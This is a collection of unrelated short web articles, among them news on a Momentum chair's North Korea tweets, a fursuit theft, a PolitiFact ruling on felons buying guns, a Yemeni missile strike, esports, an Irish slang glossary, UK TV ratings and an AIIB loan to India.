The chairman of Canterbury Momentum, a branch of the grassroots far left movement, has sparked outrage by tweeting that she stands in “solidarity” with North Korea.
Sarah Cundy’s comments come as the regime continues to pose a threat to stability in the Far East by testing nuclear weapons – including one it fired over Japan earlier this month.
The 18-year-old Simon Langton schoolgirl said: “I’d rather have solidarity with DPRK than the USA.”
Sarah Cundy, who expressed solidarity for North Korea regime
She also had a Democratic People’s Republic of Korea flag on her biography alongside those of other socialist regimes including Cuba and Venezuela, but these were later removed from her profile.
In a series of tweets over the weekend, Miss Cundy said: “‘The flags in my bio represent countries I have solidarity with. I have solidarity with countries willing to stand up to imperialism.
“The DPRK have weapons to keep themselves and their population safe from invasion – they don’t want to end up like Libya.
“I do not endorse their strikes over Japan but three million Korean people were killed in the Korean War by America, I’d rather have solidarity with DPRK than the USA.”
Her comments provoked anger.
North Korea's leader Kim Jong-Un
Martin Sales said: “I wish that people who adulate these murderous regimes would go to these countries and see how people live.
“They would soon realise just how hellish they are.”
Dominic Potts, a former pupil of the Langton in Canterbury, added: “Is Miss Cundy really saying she supports torture and executions and the threat of nuclear war that this horrible tinpot dictatorship brings the world?”
Miss Cundy has since apologised for her comments. She said: “I really regret my comments and apologise if I’ve caused anyone any offence.
“As somebody who believes strongly in democracy I am not supportive of oppressive regimes, and the flag was intended in support of the citizens.
“I would also ask people to remember some of the silly things they said and did when they were 18 and regard my comments in the same light.”
Billboards in support of North Korea's ruling family
Momentum, which is regarded as Labour Party leader Jeremy Corbyn’s primary support base, has distanced itself from Miss Cundy’s Twitter comments.
A spokesman said: “What she has said isn’t in line with Momentum’s view and is not representative of the views of Momentum’s membership.
“While she regrets her comments, we are currently investigating these comments and will take appropriate action based on our code of ethics and constitution.”
Canterbury’s Labour MP Rosie Duffield, who was pictured with Miss Cundy during the general election campaign, has refused to comment. |
Meet Clumzy Lion from Toronto. He was one of 5,138 furries who came to Biggest Little Fur Con in Reno on June 1-4, 2017. His trip included a night in San Francisco’s popular Fisherman’s Wharf area before flying home. That’s where he lost his head. Clumzy’s car was broken into, and they even took his passport so he couldn’t fly. Being robbed and stuck is much worse than just a sad feline.
Remember a similar fursuit theft that made local news by SFist and Broke-Ass Stuart? More about that below. They’re linked in case they can help.
(Update: thanks to @SFist for sharing the story!)
Clumzy’s plight spread through the grapevine of the SF Bay Area Furs. Zarafa, a purple giraffe and beloved member, took charge of helping. He told me the story hit him like PTSD, because he was a former victim too.
In January 2016, Zarafa’s giraffe suit disappeared out of his car after Frolic furry dance in SOMA. The next day, party organizer Neonbunny personally flyered the neighborhood. A homeless person saw the giraffe abandoned in an alley, and a flyer made the connection to get it home. Neonbunny’s fast, determined footwork saved the day. (Thanks also to SFist, Broke-Ass Stuart, and furries around the world for moral support. Zarafa says people still come up to him at cons to say they’re happy about it.)
The story brought hope for Clumzy. Meanwhile, the Canadian Consulate accommodated his other bags and helped him to start getting a new passport. Zarafa took him in as a house guest for the night. On Twitter, he was advised to come to the Berkeley Furmeet at Au Coquelet Cafe, where dozens of Bay Area Furries gather on every first Tuesday. There he was offered hugs, rides, and a flyer by Lilly, and I offered to spread the story.
The next day brought some good luck. The passport was found on the ground near Ghirardelli Square. It was a clue that connected the theft and the find to a small area. But searching and flyering was fruitless. Clumzy was free to fly home, but with a big loss.
The search continues. Please share, and if the fursuit turns up, we’ll get it home for another happy ending.
I couldn't find the suit head sadly. Rakota will be helping me hunt it down as I head to the airport. — Clumzy (@ClumzyLion) June 8, 2017
Zarafa was upset to see history repeat. Keeping a Pelican case in a car appears to make special temptation – thieves think a big case means it’s full of gold, instead of a custom-tailored costume with priceless personal value. He compared the situation to New York City in the 1970’s, when people couldn’t leave their cars closed. They would leave the windows open and take the radios out.
From the NY Times:
Recent data from the F.B.I. show that San Francisco has the highest per-capita property crime rate of the nation’s top 50 cities. About half the cases here are thefts from vehicles, smash-and-grabs that scatter glittering broken glass onto the sidewalks.
It’s a hot discussion in groups for night life. Some venues like DNA Lounge give extra attention to have their security patrol the street. Cyclists are hard hit, and the SFPD has a twitter channel just to help with bike theft. People are even having their grandma’s ashes stolen. What’s the solution? Whatever it is, you can’t avoid problems all the time. For times like this, it’s good to have a community that steps up for one of their own.
(Update: Felix The Fox also lost luggage to look for.)
Strap on the bag pic.twitter.com/sx7iyS1TWD — 🌨Winter Lynx ☃️ @FE2019 (@Jinxthelynx) June 7, 2017
To support writing by furries, for furries, please visit Dogpatch Press on Patreon. You can access exclusive stuff for just $1, and support all of the team’s news and reviews. |
"You can absolutely get a gun if you have several felonies as long as you buy it on the Internet or at a gun show."
Searching for a great gift for all ages? Look no further, Amy Schumer has the product for you.
In a recent sketch on her Comedy Central show Inside Amy Schumer, Schumer and fellow comedian Kyle Dunnigan play infomercial hosts pitching viewers on the perfect "stocking stuffer": a handgun. A hopeful buyer laments that he can’t get a gun because he has a criminal record riddled with felonies.
"Caller, you bite your tongue, you silly goose!" Schumer’s character says. "You can absolutely get a gun if you have several felonies, as long as you buy it on the Internet or at a gun show."
"If you go to a gun show, you can get an unlicensed seller to sell you a gun, no questions asked," Dunnigan added
We’ve looked at similar claims before. Because this sketch is getting a lot of attention, we wanted to recap whether a felon can actually buy a gun on the Internet or at a gun show.
This isn’t the first time Schumer has tackled gun issues; she has been a vocal advocate for stricter gun laws since a gunman killed two and injured many others at a showing of her feature film Trainwreck in a Louisiana movie theater in 2015.
But it is her first time on the Truth-O-Meter.
The 'gun show loophole'
To be clear: The kind of transaction Schumer’s character describes is illegal. Federal law prohibits felons from getting a gun unless their rights have been formally restored.
Felons can theoretically get around this obstacle, however, by buying guns from unlicensed sellers who are not required to conduct criminal background checks. This is sometimes referred to as the "gun show loophole," even though it refers to all private sales, and not everyone considers it a loophole.
Schumer’s sketch was referring to this aspect of current gun law, said a spokesman for Everytown for Gun Safety, gun control advocacy group Schumer promotes at the end of the sketch.
Anyone who repeatedly buys and sells firearms "with the principal motive of making a profit" is supposed to get a dealer’s license, whether they deal out of a brick-and-mortar store, a gun show, or online, according to the Bureau of Alcohol, Tobacco, Firearms and Explosives. Licensed firearm dealers must run background checks on non-licensed buyers before selling them a gun.
But the law does not require a dealer’s license for private hobbyists and others who occasionally buy and sell guns. If an individual buys a gun from someone who is not required to have a license, the purchaser does not have to undergo a background check.
So a violent felon could buy a gun from a hobbyist over the Internet or at a gun show because he or she would not be subject to a background check. The purchase would still be illegal, because of the buyer’s felon status, but it would not create an immediate red flag. The same thing can happen at a gun show.
There are a few important limitations on these sorts of private transactions.
First, it is illegal for private sellers to transfer a gun to someone they either know or reasonably believe is prohibited from owning a gun, for example, if the seller knows the buyer is a felon. But private sellers "can give themselves plausible deniability by not asking the necessary questions," Garen Wintemute, a professor of emergency medicine at the University of California Davis, previously told PolitiFact.
So in the case of Schumer’s show, she and her co-host would not have that cushion of plausible deniability because the hopeful buyer told them outright that he is a felon. The giant "gun show" banner doesn’t make a difference.
Second, private sales, online or otherwise, cannot take place across state lines, so the buyer and seller must be in the same state. And there are many restrictions on shipping guns, so the actual transaction is likely to take place in person, as opposed to the buyer entering credit card information online, and the seller shipping the gun to the buyer’s house.
And third, several states — California, Colorado, Connecticut, Delaware, New York, Oregon, Rhode Island, Washington — and the District of Columbia require background checks for all private gun sales.
With all these restrictions, how many people actually buy guns without a background check? The truth is we don’t really know. The only statistics floating around are outdated and flawed.
Professors at Northeastern and Harvard universities conducted a gun survey in 2015 that isn’t yet published. The national survey of 4,000 non-institutionalized adults found that 22 percent of the people who purchased guns — at gun shows, stores or elsewhere — underwent no background check, Matthew Miller, professor of Health Sciences and Epidemiology at Northeastern and co-director of the Harvard Injury Control Research Center, told us in January.
When researchers excluded purchases between family and friends, that number dropped to 15 percent, which equates to approximately 5 million gun owners whose most recent purchase did not involve a background check.
One more thing: Later in Schumer’s sketch, another hopeful buyer calls in to ask if he can get a gun even though he’s a suspected terrorist on the no-fly list.
"You’re fine, sweet potato fry," Schumer’s character says.
A March 2015 report from the U.S. Government Accountability Office examined how many people applying for gun purchases went through the FBI’s instant background check system and also were on the FBI’s list of "those known or reasonably suspected of being involved in terrorist activity."
Between February 2004, and December 2014, 2,233 people on the list applied to buy a weapon. Of those, 2,043 were allowed to proceed.
Our ruling
Schumer’s character said, "You can absolutely get a gun if you have several felonies as long as you buy it on the Internet or at a gun show."
The kind of transaction Schumer described is possible, though illegal, and far more complicated than her comment suggests. Federal law prohibits felons from buying guns. But with some effort, they could purchase a gun from private sellers over the Internet or at a gun show without getting caught, because private sellers are not required to run background checks.
Schumer is doing a comedy bit, but compared with similar claims we’ve checked, her phrasing makes it sound like buying guns with a felony is easy and lawful. That is not the case. The context is significant. We rate her claim Half True. |
According to the Arabic-language al-Masirah television network on Saturday, Yemeni forces used a Scud-type Borkan-2 (Volcano-2) in the attack on the Saudi refinery.
Here is the video Yemeni forces released to prove their claim:
Yemen’s popular forces have long been working on developing their own long-range ballistic missiles called the Borkan H-2 aka “Volcano H-2” which has a range of nearly 900 miles.
Yemen’s resistance has launched other long-range missiles at military targets deep inside Saudi Arabia before. In May, a Yemeni missile targeted Riyadh as a “welcome gift” for Donald Trump’s visit that same day.
Yemeni forces have also successfully struck coalition fighter jets en route to drop bombs and several coalition warships.
The attack on the Saudi oil refinery was carried out at night as to avoid any civilian casualties, according to the Geopolitics Alert website.
In the past 850 days, Saudi Arabia has completely destroyed nearly all civilian infrastructure, massacred thousands of civilians, and triggered a cholera epidemic the likes of which the world has never seen.
Saudi Arabia has been leading the campaign against Yemen to reinstate the former government and crush the Houthi Ansarullah movement.
The campaign has seriously damaged the country’s infrastructure. Local Yemeni sources have put the death toll from the Saudi war at over 12,000, including many women and children. |
The Cubicle Square-1 is our premium version of the Qiyi Square-1. Along with the latest improvements made on the puzzle, we added a few additional modifications of our own. We bonded pieces of the core with PVC cement for stability, swapped the original spring with a ShengShou Square-1 spring, and replaced the original nylon nut and screw with a more durable counterparts. These modifications produce a more stable and sturdy puzzle and allows faster more controllable turning. Lubed with a combination of Lubicle Speedy and Lubicle Silk, the Cubicle Square-1 feels soft, maneuverable, and has a slight tactile feel with slicing.*Please note that stickering a Square-1 involves special attention to the arrangement of the colors. In order for us to correctly make the Square-1 to your exact color scheme, please create a custom sticker set using your account and link it to us.We can lube and sticker this puzzle according to your instructions, which can be specified on a special page during the checkout process (the page will appear only if you have custom cubes in your cart). If no instructions are provided, we will set up the cube as we normally do, and we will sticker it with a full-bright set. We will let you know if we have any questions about your instructions.Since Cubicle Premium Square-1’s are produced on demand, please be advised that Rush Processing cannot be reliably used to speed up orders containing Premium cubes.The workmanship on Cubicle Labs and Pro Shop premium cubes is covered by our 6-month warranty. For more details of the warranty and what's covered, please refer to the warranty graphic in the product images, or visit the warranty details page Original puzzle made by QiYi.This product has been discontinued and replaced with Cubicle Custom . Please visit the Cubicle Custom section to customize your own cube!
Specifications: |
ESEA has expanded to South Africa, giving local players the opportunity to compete on an international level.
ESEA is an international gaming organisation which hosts various competitive gaming tournaments around the globe.
South Africa will be included in ESEA as a separate region, along with North America, South East Asia, Western Europe, Eastern Europe and Middle East, and Australia.
ESEA will host a local qualifying league in South Africa, in which the best Counter-Strike: Global Offensive players can battle for first place and the opportunity to compete in the ESEA Global Challenge LAN event.
“This is a very special moment for the South African community, as we are excited to see the involvement of a very reputable organization. With ESEA coming to South Africa, we will be a step closer to the international stage,” said Robby ‘bLacKpoisoN’ da Loca, Community Manager for ESEA South Africa.
“The infrastructure in South Africa has greatly improved over the last few years and I feel that now would be the perfect time to step into the South African scene.”
ESEA Global Premier Challenge
Teams who win their respective regional qualifying tournaments will be invited to compete in the ESEA Global Premier Challenge LAN, with all flight expenses and accommodation paid for by the organisation.
The tournament boasts a total prize pool of $50,000.
The following teams are eligible to compete in the Global Premier Challenge:
North America – 2 Teams (Top 2 Premier teams)
2 Teams (Top 2 Premier teams) Europe – 2 Teams (Top 2 Premier teams)
2 Teams (Top 2 Premier teams) Brazil – 1 Team (Regional Winner)
1 Team (Regional Winner) Australia – 1 Team (Regional Winner)
1 Team (Regional Winner) Asia – 1 Team (Regional Winner)
1 Team (Regional Winner) South Africa – 1 Team (Regional Winner)
Here is the prize breakdown for the international tournament:
1st Place – $18,000
– $18,000 2nd Place – $10,000
– $10,000 3rd Place – $5,000
– $5,000 4th Place – $5,000
– $5,000 5th-8th Place – $3,000
More gaming news
What to watch on Netflix and ShowMax this weekend
Awesome Games you didn’t know were coming in 2016
The biggest YouTube gaming channels |
A few days ago my computer screen showed me the dreaded words “your keyboard batteries are low.” Well even I know how to replace batteries or so I thought. For then I discovered that one of the batteries was completely wedged and stuck in the small tube that governs the keyboard. I could not remove it no matter how hard I tried or whatever instruments of destruction I used.
So I took the keyboard to my friendly Apple distributor here in Jerusalem and asked them to remove the battery. They labored mightily, consulted with each other often in dire whispers, and finally told me that they would have to send the keyboard away to some mysterious laboratory that would pursue the problem but they could not guarantee any results. And they also told me I would have to pay a considerable amount of shekels for the laboratory's unguaranteed attempt.
Needing my keyboard to produce my immortal prose and seeing that a new keyboard was almost the same price as fixing the old one, if the old one could in any way be fixed at all, I opened my wallet and plunged into the purchase of a new keyboard.
Arriving at home I followed the instructions as to how to install this miraculous device so that it would pair with my computer. After a number of unsuccessful attempts to follow the instructions on the screen some miracle happened and the keyboard began to work. Hence this brilliant article which you are now reading.
Since the keyboard is a wireless one, to my technologically ignorant mind its effectiveness borders on the miraculous and I am grateful for its ability to somehow transfer my thoughts on to the computer screen and eventually on to paper and into your psyche.
It struck me that my advanced computer with all of its gadgets, programs, preferences and connections to the entire world is fairly ineffective without a keyboard. Without it I could not respond to my emails nor could I work on the book that I am currently toiling to write. And certainly, I would be unable to write this article if I did not possess a working keyboard that somehow pairs with my computer.
For the first time I really realized why this device is called a keyboard and not a word board or letter board. Because it is the key to the entire project and to all of the technology associated with it. Without the keyboard one can perhaps receive but certainly not send messages and responses. Without the keyboard one cannot give written expression to one's thoughts and ideas. Without the keyboard the computer and all of its wondrous complexity is pretty much a useless machine.
And this set me thinking further about how halacha and ritual are the keyboards to Torah and Jewish life generally. Pretty much everyone agrees to the value system and general moral ideas that the Torah represents – charity, compassion, peace, human and personal harmony, knowledge and purposeful living. Yet that value system pretty much resembles the computer without the keyboard, for there is no detailed instruction sheet that will enable us to activate and actuate these values in our everyday lives. Without the keyboard that pairs with our moral computer, that system remains pretty much vacuous phrases and piously uttered platitudes.
Since I am mechanically challenged, I was delighted that somehow I was able to get my new wireless keyboard paired with my computer and working. I can't really explain how I did it or how the keyboard and the computer work together to produce written words. Yet, as you can see by reading this article somehow it works and pretty much to perfection.
The same is true of halacha, detail and ritual regarding Jewish life. The observance of the commandments, of the traditions of Israel and even of the apparently nagging minutiae in Jewish law and daily behavior somehow connects us and pairs us with the great computer of Torah values and eternal life.
All of Jewish history proves this axiom of Jewish personal and societal life to be true. Meaningful survival as a people and as individuals has always been connected to having a keyboard that works and pairs us with the value system and eternity of Torah.
It would be wise for all of us to recharge the batteries of our keyboard and to make certain that they are strong and full so that we may also be blessed with the greatness of Torah observance and with a productive and valuable Jewish existence.
Shabat shalom
Berel Wein |
The Mystery behind the Cover of Amazing Fantasy #15
Spider-Man just celebrated his 55th anniversary! On August 5th, 1962 Amazing Fantasy #15 was published. If you somehow don’t know, Amazing Fantasy #15 was the first appearance of Spider-Man! The story was drawn and inked by Steve Ditko.
The cover we know was not the first. Steve Ditko drew a cover but Stan Lee told Jack Kirby to draw a new one. The cover that was published was inked by Steve Ditko but drawn by Jack Kirby.
This is Steve Ditko’s original cover:
This is Kirby’s cover that we all know:
Ditko’s cover looks cool, with Spider-Man carrying a bad guy above the ground. You see people on the ground below and even someone in an open window looking right at Spider-Man. They actually used this cover as a variant for Amazing Spider-Man #700.
Kirby’s cover is bolder and makes Spider-Man look stronger with more muscles. He also looks higher up in Kirby’s cover than in Ditko’s. There aren’t as many people in the picture, either.
One thing I noticed is that Kirby’s cover looks a lot like Action Comics #7. The cover of Action Comics #7 was drawn by Joe Shuster, one of the co-creators of Superman. Action Comics #7 is bold like Kirby’s cover, shows Superman carrying a bad guy in green on the left, just like Kirby’s cover and Superman looks really high up and there aren’t many people in it, just like in Kirby’s cover.
Action Comics #7 went on sale on October 25, 1938. In 1938, Kirby was working in newspaper comic strips. He started in 1936 at the Lincoln Newspaper Syndicate and worked there until 1939. At the same time, he worked at the studio of Will Eisner and Jerry Iger. So Jack Kirby was seriously working in comics when Action Comics #7 was released. He probably would have read it because Superman was new and superheroes were just getting started.
Could Kirby have gotten his inspiration for Amazing Fantasy #15 from Action Comics #7? My opinion is that he did. What do you think?
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Hey, 23-year-old Florida man Steven Harper.
Florida Man Steven Harper
NBC-2
‘Sup?
I got a question for you.
Shoot.
Why did you allegedly go on a rampage through the southwestern Florida city of Port Charlotte, where you smashed 22 gas pumps at a Pik ‘n Run with a brick, broke three light fixtures at an Allstate office, and did similar damage at nearby Wendy’s and Bank of America locations?
What possible reason could give for going on a destructive spree that lead Pik ‘n Run Vice President Jospeh Tiseo to tell the local NBC News affiliate that he had “never seen vandalism to this extent”?
Boredom.
You told police that you did it because you were bored? That’s why you racked up four felony criminal mischief charges and are now being held at a Charlotte County jail on $12,000 bail?
Yup.
Okay, just checking.
H/T NBC 2 | Photo by Alexis/Pixabay (PD)
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Like a lot of head teachers this week, Sir Michael Wilshaw is sitting in an empty school, waiting on tomorrow’s A-Level results. Ten of his students have got conditional offers from Cambridge, another 70 are hoping to hear that they’ve clinched places at Russell Group universities.
The only difference between him and his counterparts at other top schools in the country is that he is the principal of a 1,300-pupil state-run, inner-city academy in run-down Hackney, literally a stone’s throw from some of the worst scenes of rioting last week.
“These disturbances weren’t just some kind of high jinks,” he stresses. “It was serious criminal behaviour, and for the most part, it was carried out by the gangs which have been allowed to fester and proliferate in our cities. And which operate on the very estates where large numbers of our pupils live.
“Kids here can talk eloquently on the subject of gangs. About how they are pressurised to join a gang from as early as nine or 10 years old. About how they are bullied and ostracised by their elders if they don’t. I can’t speak from personal experience, but one hears numerous stories about young kids being introduced into the gang culture through being made to carry out drug-running deliveries, or else acting as look-outs.”
It’s this environment which means that every day Mossbourne has at least a dozen staff out on the streets, escorting pupils to bus stops and railway stations. These smartly-dressed pupils look prosperous (which they’re not), and unfortunately that makes them a target for attacks.
So how, in this unfriendly climate, have he and his colleagues been able to create a school where education blossoms? Where 86 per cent of children get Grades A* to C at GCSE? Where there are 1,500 applications every year for just 180 places? Where, in order to get into the sixth form, the majority of students have to gain seven grades A* to C at GCSE, and at least a B grade in the subjects they’ve chosen for A-Level? And where every youngster in Year 13 is going to university?
The answer is by having rules and sticking to them. First off, all the pupils are required to wear school uniform (grey blazers, red trim), and to wear it properly, no ties at half-mast; Wilshaw says there’s no point having a uniform unless it’s worn correctly.
Next, they are all required, at the start of every lesson, to recite a pledge: “I aspire to maintain an inquiring mind, a calm disposition and an attentive year, so that in this class, and in all classes, I can fulfil my true potential.”
On top of which, Mossbourne boys and girls address the teachers as “Sir” or “Miss”, and stand up, not just for them, but for any adult who walks into the classroom.
“The expectation is that every adult is to be accorded respect,” says Wilshaw, who spent half his teaching life at a Catholic comprehensive in Forest Gate, east London (where he was knighted in 2000) before opening up Mossbourne Community Academy in 2004, in a new building designed by Richard Rogers, replacing the former Hackney Downs comprehensive that was once labelled the worst school in Britain.
“Respect for adults is a given. Outside the school, I have been appalled at the way in which police officers are treated with contempt and disdain; that just should not be happening. We have got to get back to a situation where young people start respecting authority again.”
When Mossbourne first opened, Wilshaw encountered opposition from parents who questioned his strict approach to rules and discipline. These days, he says, he doesn’t encounter that attitude as parents realise that the academy is giving their children a chance of a good job and an upward move out of poverty, in an area where that kind of opportunity is in short supply.
“Yes, we ask a lot of the children and their parents, but in return, the crucial quid pro quo is that we guarantee a good education,” he insists.
Among his sixth-form students about to go to university is a young man, the son of a local taxi driver, who is going to read maths at Cambridge. There is also a single parent set to go to Cambridge.
“In many ways, the school acts as a surrogate parent; children stay here till six or seven at night on quite a regular basis, and we give some an evening meal, too. But we don’t for a minute pretend that we can change the lives these youngsters have at home. We aren’t social workers, we are teachers and, as such, it’s our job to provide the very best education we can.”
And becoming a good teacher is not, he says, a simple or easy process.
“The fact is, if you’re a 22-year-old teacher and you’ve got a tough class, you need to be well supported; you need your head of department sitting in on a few lessons, talking through ways in which you can improve.
“You also need support from your head. We treat it very seriously here if pupils misbehave with a new teacher. In my view, any head who fails to back up their least experienced staff members doesn’t deserve to be in the job. One thing we can promise our teachers – most of whom are in their twenties or thirties – is that they will get a full hour’s worth of teaching, and not spend it trying to maintain discipline.”
Indeed, pupils who misbehave in a lesson are given a detention that same day; they have to stay on till 6pm. For a more serious infraction, they have to do a three-hour detention on Saturday, and this time their parents are required (under the terms of the school contract) to bring them to the door.
“When children first come here, they find the structure and the expectations rather hard,” says Wilshaw. “But as time goes on, they themselves start to see the value of education, what it can do for their lives.”
There’s no question in Sir Michael’s mind that schools and the education system have an increasingly important part to play in promoting a fair and equitable multi-racial society. And he sees what he calls “the terrible incidents of these last few days” as having brought about a watershed moment, when the nation stopped making excuses for poor behaviour and poor achievement, and started looking to families and schools to work together for a more harmonious society.
“We have the potential in Britain, and in London especially, to be a shining beacon. That said, if we continue as we are, the chances are we will go the same way as America, whereby you get a massive flight away from gang-dominated areas, leaving behind a population made up solely of poor people and the elderly.
“We are currently at a crossroads. And we could go either way.” |
In Ireland, two languages are prominent. Irish (or Gaelic) and English. The Irish version of English is much different to Oxford style English and even people from England find it hard to understand Irish people because of their strong accents and strange phrases.
Here is a list of words and phrases in alphabetical order to fill in some of the gaps and help you understand what they mean:
A Acting the maggot playing around Ages long time Any Use? any good? Arse backside Arseways complete mess (I did it all arseways) Artist person getting social security (drawing the dole) B Babby little child – baby Bad dose bad illness Bag of Taytos packet of potato chips/crisps Bags bad, messy job (see hames) Banjaxed broken, useless, tired Barn brack Halloween cake Belt hit, assault Be wide be careful Bird girl, girlfriend Black crowded Blackguard person that is doing no good Black Stuff Guinness Blather talk Bloody used mostly for strengthening an adjective Bog toilet, restroom Bog country area/ piece of land that once was a lake Bogey snot Bogtrotter country person Bold naughty Bollocks stupid/somebody one doesn’t like Bolloxed very drunk Bolt run fast Boozer pub Bothrin narrow lane or road Bouzzie, Bowsie young good-for-nothing person Boxin’ the fox robbing an orchard Boyo a young person Brasser prostitute Brutal terrible Bucketing raining heavily Bushed very tired Business excrete C Carry-on argument/noise Cake-hole mouth Cha tea Chancer dodgy/risky character Cheek disrespect/talk back Cheesed Off angry/annoyed Chinwag a chat Chipper fish and chip shop Chiseller
Chronic young child
terrible or awful Class great Clatter slap Cod (to) joke Colcannon Mashed potatoes & cabbage/ kale Cop on! don’t be so stupid! Cooker stove Covers blankets Craic (pronounced crack) fun time Crisps potato chips Culchie a city dweller’s name for a country person Cute hoor Untrustworthy/sly person D Da father Deadly cool, great Dear expensive Delph crockery, cups, saucers etc Desperate terrible Diabolical really terrible Diddies breasts Divil devil Dodder waste time Dodgy suspect/mechanically impaired Donkey’s Years a long time Dope idiot On the Doss playing truant Dosser lazy person Dote cute person, usually a baby Drawers underwear, usually ladies Dry Shite boring person Dummy pacifier Dump (taking a) excrete E Eat the head off Attack verbally Eejit idiot F F-word used freely, mostly for strengthening an adjective Fag cigarette Fair play! well done! Feck used instead of the other F word Fella Male person, also used for boyfriend Fib a lie Fifty stood-up (I got a fifty) Fine thing/fine bit of stuff Attractive/good looking person Fla/Flah Attractive/good looking person Flah’ed out very tired Flicks movies Flitters in tatters, shabby Fluthered very drunk Follier-upper a serial Foostering wasting time Fry fried breakfast (sausage, bacon, eggs and black & white pudding) Full shilling mentally competent (He’s not the full shilling) G Gaff house Gas funny Gawk stare Gee-Eyed very drunk Get off with (someone) make out, kiss Gift superb Git horrible person Give Out scold Gob mouth (Shut you gob!) Gobdaw idiot Gobshite idiot Gobsmacked very surprised Go-car baby’s pushchair Gollier a big, fat spit of phlegm Gone in the head mad, crazy Go way outta that! indicating scepticism Gowl idiot Grand fine, lovely Guard policeman Gurrier hooligan Gut stomach H Hames mess Hammererd very drunk Hard Neck lack of respect Hardchaw, Hardman rough, tough person Header mad, crazy person Head the ball idiotic person Heel the first or last slice of a loaf of bread Hickey a love bite High babies senior infants’ school Holliers holidays/vacations Holy show embarrassing exhibition Hooley party/celebration Hoor prostitute Hop playing truant from school Horse’s hoof embellished story Hot Press drying cupboard Howya hello- salutation Hump, the sulking Hump off go away, leave me alone I I will in me ring
I will yeah I will not!
No, that will never happen I am in me wick I am not! J Jackeen a country person’s name for somebody that lives in Dublin Jacks toilet, restroom Jaded fatigued/very tired Jammers very crowded, busy Jammy lucky Janey Mack! Gosh Jar A pint Jaysus! Jesus Juicy pretty K Kip, to have a short siesta, rest Knackered fatiguedvery tired Knick-knacking ringing a doorbell and running away Knobs breasts Knockers breasts L Langers/langered drunk Lashing raining heavily Lay off! leave me alone, stop it! Legging (it) running fast Letting on pretending Local, the the nearest pub Locked very drunk Lolly/ice lolly Popsicle Low babies junior infants’ school M Ma mother Maggot(Stop acting the maggot) Stop playing around! Manky very dirty Mary Hick old-fashioned female Mentaller crazy person Me ould segotia, me ould flower Terms of endearment Messages shopping, groceries Messing playing around Milling fighting Mitch bunk school Mortified embarrassed Mot girlfriend Motherless drunk Mouldy drunk/ rotten Murder difficult Mushies magic mushrooms N Nappy Diaper Nickser, Nixer a job done with no tax paid on wages Nip nude O Odds loose change Off the drink abstaining from drinking alcohol Off your nut mad, crazy Ole Lady/ole wan mother Ole Man/ole fella father On the never never On Hire purchase Ossified drunk P Paralytic very drunk Perishing freezing Pictures movies Piss in the Beds dandelions Pissed off angry/annoyed Piss up a night of big drinking Plastered very drunk Plonker idiot Polluted very drunk Poteen/Poitin illegal Irish spirit/drink Pram stroller/pushchair Press closet, cupboard Puck slap in the face Pull your socks up Get to work/get busy Puss Face bad-tempered person Q Queer hawk peculiar person R Rapid amazing Rashers bacon slices Reddener blush Red neck a country person Reef beat up Ride an attractive person, to have intercourse Root look for Rosie Lee tea Rubber eraser Ructions Loud arguing or commotion Runners trainers, everyday sports shoes Runs diarrhoea S Sap weak/fragile person Scab a person who constantly borrows Scab the hard outer part of a healed wound Scallion spring onion Scalped to get a short haircut Scanger ignorant female Scarlet blushing Scatter run away from something Scram! go away! Scratch social security, dole Scratcher bed Scrawbed Scratched by fingernails Scrubber female of low morals Scutters diarrhoea Shag, to to have intercourse with Shagged fatigued/ very tired Shattered fatigued/ very tired Shenanagans different things going on Shlossed very drunk Shook Pale, ill, scared Shorts liquor drinks (spirits) – shots Shower of savages a riotous crowd Slagging making fun of someone Slapper female of low morals Slash urinate Sleeveen sly person Snapper child, baby Snobby Weather! Ignoring me? Snog, Shift to make out, kiss Snug pub booth (usually fitting only 3/4 people) Sound really nice Specky Four-Eyes person who wears glasses (child’s nickname) Spuds potatoes Squealer a person who tells stories to get another in trouble Stop the lights! Really?! Stocious very drunk Strand beach Suckin’ diesel having a good time Sweets candy T Thick stupid /unintelligent Throwing Shapes Showing off Tip unclean, messy place Tool idiot Trap mouth Twisted very drunk Twistin’ hay means you’re starting trouble, usually in a playful way U Up the pole pregnant Up the yard! Go away! Up to ninety near boiling point, ready to explode W Wagon ugly female Wanker a person you don’t like Wet the tea make tea Whist keep quiet Wrecked tired Y Y-Fronts Men’s briefs Yoke
Yonks a word used to name something instead of its proper name. “pass me that yoke” (pass me that hammer)
a long time Your hole (to get) to have sexual intercourse
Watch a hilarious video of tourists in Dublin trying to say some common Irish phrases: |
BBC One's Commonwealth Games coverage continued to win the ratings outside soaps on Tuesday, overnight data reveals.
The latest evening's live coverage averaged 4.11 million (21.1%) from 7pm.
Todd Antony
On BBC Two, Coast interested 1.48m (8.3%) at 7pm, while a repeat of The Sarah Millican Television Programme amused 1.32m (6.4%) at 9.30pm.
ITV's Love Your Garden appealed to 2.26m (11.3%) at 8pm (177,000/0.9% on +1), followed by a repeat of 56 Up with 1.88m (9.1%) at 9pm (148k/0.9%). Diamond Geezers and Gold Dealers brought in 973k (8.7%) at 10.45pm.
On Channel 4, Fill Your House for Free gathered 777k (3.9%) at 8pm (2001k/1.0%), followed by Undercover Boss with 1.30m (6.3%) at 9pm (196k/1.2%). Utopia's latest episode was seen by 378k (2.3%) at 10pm.
Channel 5's Dog Rescuers attracted 991k (5.0%) at 8pm (106k/0.5%). CSI thrilled 1.03m (5.0%) at 9pm (185k/1.1%), and Big Brother continued with 1.11m (6.6%) at 10pm.
MTV's Geordie Shore entertained 473k (2.8%) at 10pm, while BBC Three's Family Guy topped the multichannels with 814k (9.2%) at 11.30pm. |
According to reports, Asian Infrastructure Investment Bank approved the first $160-million loan to India to support the energy sector of the Indian state of Andhra Pradesh.
© REUTERS / Kim Kyung-Hoon AIIB Approves $600Mln Loan to Azerbaijan for TANAP Gas Pipeline Construction
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BEIJING (Sputnik)The Asian Infrastructure Investment Bank (AIIB) approved the first $160-million loan to India to support the energy sector of the Indian state of Andhra Pradesh, the bank state in a statement on Wednesday.
"The Board of Directors of the Asian Infrastructure Investment Bank (AIIB) approved a loan of US$160 million in support of the Andhra Pradesh – 24x7 Power for All project in the Republic of India with the objective to strengthen the power transmission and distribution system in the State of Andhra Pradesh," the statement said.
AIIB President Jin Liqun pointed out that the bank supported its members "in their transition towards a low-carbon energy mix by promoting the improvement of energy efficiency."
According to the statement, the project is co-financed with the World Bank.
The AIIB is an international financial institution that invests in infrastructure projects. It was proposed by China in 2013 and launched as an initiative in October 2014. The AIIB currently has 57 founding members, with China, India and Russia having the largest share of votes on its board of directors.
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A certain amount of bullshit to contend with as far as processes and personalities
A huge chunk of your time limited to the specific goals of one organization
A predictable pay check
A potential equity payday
Certain intangibles you can leverage for future employment
